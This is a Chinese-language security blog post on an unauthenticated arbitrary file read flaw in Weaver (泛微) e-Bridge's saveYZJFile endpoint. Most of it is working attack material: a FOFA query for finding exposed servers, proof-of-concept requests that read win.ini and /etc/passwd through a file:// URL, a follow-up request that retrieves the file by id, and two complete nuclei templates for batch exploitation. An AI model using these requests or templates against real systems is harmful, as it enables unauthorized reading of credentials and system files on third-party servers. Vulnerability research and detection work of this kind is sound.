泛微E-Bridge saveYZJFile任意文件读取漏洞

发布时间 2023-10-19 22:36:15作者: 学安全的小白

漏洞描述

泛微云桥e-Bridge存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。

漏洞复现

fofa语法:app="泛微云桥e-Bridge"
登录页面如下:

windows系统POC:
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt
Linux系统POC:
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

拼接上面获得的id号,读取文件
/file/fileNoLogin/165d959362934f099c586129029198e9

nuclei批量yaml文件

id: fanwei_eBridge_saveYZJFile_fileread_windows
info:
  name: 泛微e-Bridge未授权文件读取漏洞
  author: mhb17
  severity: high
  description: description
  reference:
    - https://
  tags: fileread
requests:
  - raw:
      - |-
        GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
      - |+
        GET /file/fileNoLogin/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
    iterate-all: true
    extractors:
      - part: body
        name: endpoint
        internal: true
        type: json
        json:
          - '.["id"]'
    matchers-condition: and
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "bit app support") && status_code_2 == 200'
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_1), "filepath") && status_code_1 == 200'
id: fanwei_eBridge_saveYZJFile_fileread_linux
info:
  name: 泛微e-Bridge未授权文件读取漏洞
  author: mhb17
  severity: high
  description: description
  reference:
    - https://
  tags: fileread
requests:
  - raw:
      - |-
        GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
      - |+
        GET /file/fileNoLogin/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
    iterate-all: true
    extractors:
      - part: body
        name: endpoint
        internal: true
        type: json
        json:
          - '.["id"]'
    matchers-condition: and
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "root:") && status_code_2 == 200'
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_1), "filepath") && status_code_1 == 200'